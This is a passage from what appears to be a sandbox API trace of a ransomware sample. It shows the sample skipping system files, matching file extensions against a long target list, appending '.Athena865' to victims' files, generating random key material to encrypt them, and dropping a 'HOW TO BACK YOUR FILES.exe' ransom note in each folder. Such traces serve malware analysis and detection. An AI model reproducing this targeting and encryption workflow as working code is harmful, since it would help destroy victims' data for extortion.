hHeap=0x4f0000) returned 1 [0102.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0102.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0102.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.237] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.237] CloseHandle (hObject=0x17c) returned 1 [0102.237] CloseHandle (hObject=0x154) returned 1 [0102.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.239] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21f5ca70, ftCreationTime.dwHighDateTime=0x1d4d3b3, ftLastAccessTime.dwLowDateTime=0xda233190, ftLastAccessTime.dwHighDateTime=0x1d4d3c3, ftLastWriteTime.dwLowDateTime=0xda233190, ftLastWriteTime.dwHighDateTime=0x1d4d3c3, nFileSizeHigh=0x0, nFileSizeLow=0x78b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UU-Ptak76.m4a", cAlternateFileName="UU-PTA~1.M4A")) returned 1 [0102.239] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.239] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.239] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2=".") returned 1 [0102.239] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2="..") returned 1 [0102.239] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2="windows") returned -1 [0102.239] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2="bootmgr") returned 1 [0102.239] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2="temp") returned 1 [0102.239] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2="pagefile.sys") returned 1 [0102.239] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2="boot") returned 1 [0102.239] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2="ids.txt") returned 1 [0102.239] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2="ntuser.dat") returned 1 [0102.239] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2="perflogs") returned 1 [0102.239] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2="MSBuild") returned 1 [0102.239] lstrlenW (lpString="UU-Ptak76.m4a") returned 13 [0102.239] lstrcpyW (in: lpString1=0x241e8be, lpString2="UU-Ptak76.m4a" | out: lpString1="UU-Ptak76.m4a") returned="UU-Ptak76.m4a" [0102.239] lstrlenW (lpString="UU-Ptak76.m4a") returned 13 [0102.239] lstrlenW (lpString="Athena865") returned 9 [0102.239] lstrcmpiW (lpString1="tak76.m4a", lpString2="Athena865") returned 1 [0102.239] lstrlenW (lpString=".dll") returned 4 [0102.239] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2=".dll") returned 1 [0102.239] lstrlenW (lpString=".lnk") returned 4 [0102.239] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2=".lnk") returned 1 [0102.239] lstrlenW (lpString=".ini") returned 4 [0102.239] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2=".ini") returned 1 [0102.239] lstrlenW (lpString=".sys") returned 4 [0102.240] lstrcmpiW (lpString1="UU-Ptak76.m4a", lpString2=".sys") returned 1 [0102.240] lstrlenW (lpString="UU-Ptak76.m4a") returned 13 [0102.240] lstrlenW (lpString="bak") returned 3 [0102.240] lstrcmpiW (lpString1="m4a", lpString2="bak") returned 1 [0102.240] lstrlenW (lpString="ba_") returned 3 [0102.240] lstrcmpiW (lpString1="m4a", lpString2="ba_") returned 1 [0102.240] lstrlenW (lpString="dbb") returned 3 [0102.240] lstrcmpiW (lpString1="m4a", lpString2="dbb") returned 1 [0102.240] lstrlenW (lpString="vmdk") returned 4 [0102.240] lstrcmpiW (lpString1=".m4a", lpString2="vmdk") returned -1 [0102.240] lstrlenW (lpString="rar") returned 3 [0102.240] lstrcmpiW (lpString1="m4a", lpString2="rar") returned -1 [0102.240] lstrlenW (lpString="zip") returned 3 [0102.240] lstrcmpiW (lpString1="m4a", lpString2="zip") returned -1 [0102.240] lstrlenW (lpString="tgz") returned 3 [0102.240] lstrcmpiW (lpString1="m4a", lpString2="tgz") returned -1 [0102.240] lstrlenW (lpString="vbox") returned 4 [0102.240] lstrcmpiW (lpString1=".m4a", lpString2="vbox") returned -1 [0102.240] lstrlenW (lpString="vdi") returned 3 [0102.240] lstrcmpiW (lpString1="m4a", lpString2="vdi") returned -1 [0102.240] lstrlenW (lpString="vhd") returned 3 [0102.240] lstrcmpiW (lpString1="m4a", lpString2="vhd") returned -1 [0102.240] lstrlenW (lpString="vhdx") returned 4 [0102.240] lstrcmpiW (lpString1=".m4a", lpString2="vhdx") returned -1 [0102.240] lstrlenW (lpString="avhd") returned 4 [0102.240] lstrcmpiW (lpString1=".m4a", lpString2="avhd") returned -1 [0102.240] lstrlenW (lpString="db") returned 2 [0102.240] lstrcmpiW (lpString1="4a", lpString2="db") returned -1 [0102.240] lstrlenW (lpString="db2") returned 3 [0102.240] lstrcmpiW (lpString1="m4a", lpString2="db2") returned 1 [0102.240] lstrlenW (lpString="db3") returned 3 [0102.240] lstrcmpiW (lpString1="m4a", lpString2="db3") returned 1 [0102.240] lstrlenW (lpString="dbf") returned 3 [0102.240] lstrcmpiW (lpString1="m4a", lpString2="dbf") returned 1 [0102.241] lstrlenW (lpString="mdf") returned 3 [0102.241] lstrcmpiW (lpString1="m4a", lpString2="mdf") returned -1 [0102.241] lstrlenW (lpString="mdb") returned 3 [0102.241] lstrcmpiW (lpString1="m4a", lpString2="mdb") returned -1 [0102.241] lstrlenW (lpString="sql") returned 3 [0102.241] lstrcmpiW (lpString1="m4a", lpString2="sql") returned -1 [0102.241] lstrlenW (lpString="sqlite") returned 6 [0102.241] lstrcmpiW (lpString1="76.m4a", lpString2="sqlite") returned -1 [0102.241] lstrlenW (lpString="sqlite3") returned 7 [0102.241] lstrcmpiW (lpString1="k76.m4a", lpString2="sqlite3") returned -1 [0102.241] lstrlenW (lpString="sqlitedb") returned 8 [0102.241] lstrcmpiW (lpString1="ak76.m4a", lpString2="sqlitedb") returned -1 [0102.241] lstrlenW (lpString="xml") returned 3 [0102.241] lstrcmpiW (lpString1="m4a", lpString2="xml") returned -1 [0102.241] lstrlenW (lpString="$er") returned 3 [0102.241] lstrcmpiW (lpString1="m4a", lpString2="$er") returned 1 [0102.241] lstrlenW (lpString="4dd") returned 3 [0102.241] lstrcmpiW (lpString1="m4a", lpString2="4dd") returned 1 [0102.241] lstrlenW (lpString="4dl") returned 3 [0102.241] lstrcmpiW (lpString1="m4a", lpString2="4dl") returned 1 [0102.241] lstrlenW (lpString="^^^") returned 3 [0102.241] lstrcmpiW (lpString1="m4a", lpString2="^^^") returned 1 [0102.241] lstrlenW (lpString="abs") returned 3 [0102.241] lstrcmpiW (lpString1="m4a", lpString2="abs") returned 1 [0102.241] lstrlenW (lpString="abx") returned 3 [0102.241] lstrcmpiW (lpString1="m4a", lpString2="abx") returned 1 [0102.241] lstrlenW (lpString="accdb") returned 5 [0102.241] lstrcmpiW (lpString1="6.m4a", lpString2="accdb") returned -1 [0102.241] lstrlenW (lpString="accdc") returned 5 [0102.241] lstrcmpiW (lpString1="6.m4a", lpString2="accdc") returned -1 [0102.241] lstrlenW (lpString="accde") returned 5 [0102.241] lstrcmpiW (lpString1="6.m4a", lpString2="accde") returned -1 [0102.242] lstrlenW (lpString="accdr") returned 5 [0102.242] lstrcmpiW (lpString1="6.m4a", lpString2="accdr") returned -1 [0102.242] lstrlenW (lpString="accdt") returned 5 [0102.242] lstrcmpiW (lpString1="6.m4a", lpString2="accdt") returned -1 [0102.242] lstrlenW (lpString="accdw") returned 5 [0102.242] lstrcmpiW (lpString1="6.m4a", lpString2="accdw") returned -1 [0102.242] lstrlenW (lpString="accft") returned 5 [0102.242] lstrcmpiW (lpString1="6.m4a", lpString2="accft") returned -1 [0102.242] lstrlenW (lpString="adb") returned 3 [0102.242] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1 [0102.242] lstrlenW (lpString="adb") returned 3 [0102.242] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1 [0102.242] lstrlenW (lpString="ade") returned 3 [0102.242] lstrcmpiW (lpString1="m4a", lpString2="ade") returned 1 [0102.242] lstrlenW (lpString="adf") returned 3 [0102.242] lstrcmpiW (lpString1="m4a", lpString2="adf") returned 1 [0102.242] lstrlenW (lpString="adn") returned 3 [0102.242] lstrcmpiW (lpString1="m4a", lpString2="adn") returned 1 [0102.242] lstrlenW (lpString="adp") returned 3 [0102.242] lstrcmpiW (lpString1="m4a", lpString2="adp") returned 1 [0102.242] lstrlenW (lpString="alf") returned 3 [0102.242] lstrcmpiW (lpString1="m4a", lpString2="alf") returned 1 [0102.242] lstrlenW (lpString="ask") returned 3 [0102.242] lstrcmpiW (lpString1="m4a", lpString2="ask") returned 1 [0102.242] lstrlenW (lpString="btr") returned 3 [0102.242] lstrcmpiW (lpString1="m4a", lpString2="btr") returned 1 [0102.242] lstrlenW (lpString="cat") returned 3 [0102.242] lstrcmpiW (lpString1="m4a", lpString2="cat") returned 1 [0102.242] lstrlenW (lpString="cdb") returned 3 [0102.242] lstrcmpiW (lpString1="m4a", lpString2="cdb") returned 1 [0102.242] lstrlenW (lpString="ckp") returned 3 [0102.242] lstrcmpiW (lpString1="m4a", lpString2="ckp") returned 1 [0102.243] lstrlenW (lpString="cma") returned 3 [0102.243] lstrcmpiW (lpString1="m4a", lpString2="cma") returned 1 [0102.243] lstrlenW (lpString="cpd") returned 3 [0102.243] lstrcmpiW (lpString1="m4a", lpString2="cpd") returned 1 [0102.243] lstrlenW (lpString="dacpac") returned 6 [0102.243] lstrcmpiW (lpString1="76.m4a", lpString2="dacpac") returned -1 [0102.243] lstrlenW (lpString="dad") returned 3 [0102.243] lstrcmpiW (lpString1="m4a", lpString2="dad") returned 1 [0102.243] lstrlenW (lpString="dadiagrams") returned 10 [0102.243] lstrcmpiW (lpString1="Ptak76.m4a", lpString2="dadiagrams") returned 1 [0102.243] lstrlenW (lpString="daschema") returned 8 [0102.243] lstrcmpiW (lpString1="ak76.m4a", lpString2="daschema") returned -1 [0102.243] lstrlenW (lpString="db-journal") returned 10 [0102.243] lstrcmpiW (lpString1="Ptak76.m4a", lpString2="db-journal") returned 1 [0102.243] lstrlenW (lpString="db-shm") returned 6 [0102.243] lstrcmpiW (lpString1="76.m4a", lpString2="db-shm") returned -1 [0102.243] lstrlenW (lpString="db-wal") returned 6 [0102.243] lstrcmpiW (lpString1="76.m4a", lpString2="db-wal") returned -1 [0102.243] lstrlenW (lpString="dbc") returned 3 [0102.243] lstrcmpiW (lpString1="m4a", lpString2="dbc") returned 1 [0102.243] lstrlenW (lpString="dbs") returned 3 [0102.243] lstrcmpiW (lpString1="m4a", lpString2="dbs") returned 1 [0102.243] lstrlenW (lpString="dbt") returned 3 [0102.243] lstrcmpiW (lpString1="m4a", lpString2="dbt") returned 1 [0102.243] lstrlenW (lpString="dbv") returned 3 [0102.243] lstrcmpiW (lpString1="m4a", lpString2="dbv") returned 1 [0102.243] lstrlenW (lpString="dbx") returned 3 [0102.243] lstrcmpiW (lpString1="m4a", lpString2="dbx") returned 1 [0102.243] lstrlenW (lpString="dcb") returned 3 [0102.243] lstrcmpiW (lpString1="m4a", lpString2="dcb") returned 1 [0102.243] lstrcmpiW (lpString1="m4a", lpString2="dct") returned 1 [0102.244] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\UU-Ptak76.m4a.Athena865") returned 82 [0102.244] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\UU-Ptak76.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\uu-ptak76.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\UU-Ptak76.m4a.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\uu-ptak76.m4a.athena865"), dwFlags=0x1) returned 1 [0102.255] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\UU-Ptak76.m4a.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\uu-ptak76.m4a.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.256] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30898) returned 1 [0102.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.256] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.257] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.257] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.257] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7bc0, lpName=0x0) returned 0x17c [0102.257] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7bc0) returned 0x100000 [0102.258] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.259] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.259] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0102.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0102.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.260] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.260] CloseHandle (hObject=0x17c) returned 1 [0102.260] CloseHandle (hObject=0x154) returned 1 [0102.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.263] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21f5ca70, ftCreationTime.dwHighDateTime=0x1d4d3b3, ftLastAccessTime.dwLowDateTime=0xda233190, ftLastAccessTime.dwHighDateTime=0x1d4d3c3, ftLastWriteTime.dwLowDateTime=0xda233190, ftLastWriteTime.dwHighDateTime=0x1d4d3c3, nFileSizeHigh=0x0, nFileSizeLow=0x78b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UU-Ptak76.m4a", cAlternateFileName="UU-PTA~1.M4A")) returned 0 [0102.263] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.263] ReleaseMutex (hMutex=0xec) returned 1 [0102.263] CloseHandle (hObject=0xec) returned 1 [0102.263] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE" [0102.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528048 | out: hHeap=0x4f0000) returned 1 [0102.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a478 | out: hHeap=0x4f0000) returned 1 [0102.263] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE") returned 73 [0102.263] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C3E7D77E06CEC470153E5A9011223CAA") returned 0xec [0102.264] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.264] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE" [0102.264] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.264] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\wjbyzovnuz9xr-p9foke\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.264] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\wjbyzovnuz9xr-p9foke\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.264] GetLastError () returned 0x0 [0102.264] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.265] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.265] CloseHandle (hObject=0xf4) returned 1 [0102.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.265] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.265] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b4f2fa0, ftCreationTime.dwHighDateTime=0x1d4c697, ftLastAccessTime.dwLowDateTime=0xc6323b00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6323b00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.266] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.266] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.266] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.266] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b4f2fa0, ftCreationTime.dwHighDateTime=0x1d4c697, ftLastAccessTime.dwLowDateTime=0xc6323b00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6323b00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.266] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.266] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.266] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.266] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.266] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c59e40, ftCreationTime.dwHighDateTime=0x1d4d194, ftLastAccessTime.dwLowDateTime=0x51eba6d0, ftLastAccessTime.dwHighDateTime=0x1d4c9ec, ftLastWriteTime.dwLowDateTime=0x51eba6d0, ftLastWriteTime.dwHighDateTime=0x1d4c9ec, nFileSizeHigh=0x0, nFileSizeLow=0x4ff5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ar9f0.mp3", cAlternateFileName="")) returned 1 [0102.266] lstrcmpiW (lpString1="ar9f0.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.266] lstrcmpiW (lpString1="ar9f0.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.266] lstrcmpiW (lpString1="ar9f0.mp3", lpString2=".") returned 1 [0102.266] lstrcmpiW (lpString1="ar9f0.mp3", lpString2="..") returned 1 [0102.266] lstrcmpiW (lpString1="ar9f0.mp3", lpString2="windows") returned -1 [0102.266] lstrcmpiW (lpString1="ar9f0.mp3", lpString2="bootmgr") returned -1 [0102.266] lstrcmpiW (lpString1="ar9f0.mp3", lpString2="temp") returned -1 [0102.266] lstrcmpiW (lpString1="ar9f0.mp3", lpString2="pagefile.sys") returned -1 [0102.266] lstrcmpiW (lpString1="ar9f0.mp3", lpString2="boot") returned -1 [0102.266] lstrcmpiW (lpString1="ar9f0.mp3", lpString2="ids.txt") returned -1 [0102.266] lstrcmpiW (lpString1="ar9f0.mp3", lpString2="ntuser.dat") returned -1 [0102.266] lstrcmpiW (lpString1="ar9f0.mp3", lpString2="perflogs") returned -1 [0102.266] lstrcmpiW (lpString1="ar9f0.mp3", lpString2="MSBuild") returned -1 [0102.266] lstrlenW (lpString="ar9f0.mp3") returned 9 [0102.266] lstrcpyW (in: lpString1=0x241e8dc, lpString2="ar9f0.mp3" | out: lpString1="ar9f0.mp3") returned="ar9f0.mp3" [0102.266] lstrlenW (lpString="ar9f0.mp3") returned 9 [0102.266] lstrlenW (lpString="Athena865") returned 9 [0102.266] lstrlenW (lpString=".dll") returned 4 [0102.266] lstrcmpiW (lpString1="ar9f0.mp3", lpString2=".dll") returned 1 [0102.266] lstrlenW (lpString=".lnk") returned 4 [0102.267] lstrcmpiW (lpString1="ar9f0.mp3", lpString2=".lnk") returned 1 [0102.267] lstrlenW (lpString=".ini") returned 4 [0102.267] lstrcmpiW (lpString1="ar9f0.mp3", lpString2=".ini") returned 1 [0102.267] lstrlenW (lpString=".sys") returned 4 [0102.267] lstrcmpiW (lpString1="ar9f0.mp3", lpString2=".sys") returned 1 [0102.267] lstrlenW (lpString="ar9f0.mp3") returned 9 [0102.267] lstrlenW (lpString="bak") returned 3 [0102.267] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1 [0102.267] lstrlenW (lpString="ba_") returned 3 [0102.267] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1 [0102.267] lstrlenW (lpString="dbb") returned 3 [0102.267] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1 [0102.267] lstrlenW (lpString="vmdk") returned 4 [0102.267] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1 [0102.267] lstrlenW (lpString="rar") returned 3 [0102.267] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1 [0102.267] lstrlenW (lpString="zip") returned 3 [0102.267] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1 [0102.267] lstrlenW (lpString="tgz") returned 3 [0102.267] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1 [0102.267] lstrlenW (lpString="vbox") returned 4 [0102.267] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1 [0102.267] lstrlenW (lpString="vdi") returned 3 [0102.267] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1 [0102.267] lstrlenW (lpString="vhd") returned 3 [0102.267] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1 [0102.267] lstrlenW (lpString="vhdx") returned 4 [0102.267] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1 [0102.267] lstrlenW (lpString="avhd") returned 4 [0102.267] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1 [0102.267] lstrlenW (lpString="db") returned 2 [0102.267] lstrcmpiW (lpString1="p3", lpString2="db") returned 1 [0102.267] lstrlenW (lpString="db2") returned 3 [0102.268] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1 [0102.268] lstrlenW (lpString="db3") returned 3 [0102.268] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1 [0102.268] lstrlenW (lpString="dbf") returned 3 [0102.268] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1 [0102.268] lstrlenW (lpString="mdf") returned 3 [0102.268] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1 [0102.268] lstrlenW (lpString="mdb") returned 3 [0102.268] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1 [0102.268] lstrlenW (lpString="sql") returned 3 [0102.268] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1 [0102.268] lstrlenW (lpString="sqlite") returned 6 [0102.268] lstrcmpiW (lpString1="f0.mp3", lpString2="sqlite") returned -1 [0102.268] lstrlenW (lpString="sqlite3") returned 7 [0102.268] lstrcmpiW (lpString1="9f0.mp3", lpString2="sqlite3") returned -1 [0102.268] lstrlenW (lpString="sqlitedb") returned 8 [0102.268] lstrcmpiW (lpString1="r9f0.mp3", lpString2="sqlitedb") returned -1 [0102.268] lstrlenW (lpString="xml") returned 3 [0102.268] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1 [0102.268] lstrlenW (lpString="$er") returned 3 [0102.268] lstrcmpiW 